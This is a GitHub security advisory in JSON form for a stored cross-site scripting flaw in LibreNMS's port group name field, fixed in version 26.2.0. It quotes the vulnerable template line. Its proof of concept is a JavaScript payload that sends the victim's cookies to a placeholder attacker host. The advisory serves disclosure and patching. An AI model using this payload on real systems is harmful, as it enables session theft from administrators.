CVE-2026-26992: Librenms/librenms Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93fx-g747-695x",
  "modified" : "2026-02-20T16:51:59Z",
  "published" : "2026-02-18T22:07:42Z",
  "aliases" : [ "CVE-2026-26992" ],
  "summary" : "LibreNMS /port-groups name Stored Cross-Site Scripting",
  "details" : "### Summary\n**/port-groups name Stored Cross-Site Scripting**\n\n- HTTP POST\n- Request-URI(s): \"/port-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a port group, an HTTP POST request is sent to the Request-URI \"/port-groups\". The name of the newly created port group is stored in the value of the name parameter.\n- After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.\n\n### Details\nThe vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/port-group/index.blade.php:_\n```\n@extends('layouts.librenmsv1')\n@section('title', __('Port Groups'))\n@section('content')\n<div class=\"container-fluid\">\n<x-panel id=\"manage-port-groups-panel\">\n// [...Truncated...]\n@foreach($port_groups as $port_group)\n// [...Truncated...]\n\n<button type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Port Group') }}\" aria-label=\"{{ __('Delete') }}\"\n\nonclick=\"delete_pg(this, '{{ $port_group-\n>name }}', '{{ route('port-groups.destroy', $port_group->id) }}')\"> // using the\nport's name in the Delete button functionality without sanitizing for XSS related\ncharacters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Ports > Manage Port Groups\n- Select New Port Group\n- Input `12345');varpt=newImage();pt.src='http://<ATTACKER_IP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);delete_pg(this, '12345 into the \"Name\" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)`\n- Select Save\n- Select the Delete Icon for the newly created Port Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-93fx-g747-695x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26992"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/19042"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/882fe6f90ea504a3732f83caf89bba7850a5699f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-18T22:07:42Z",
    "nvd_published_at" : "2026-02-20T03:16:00Z"
  }
}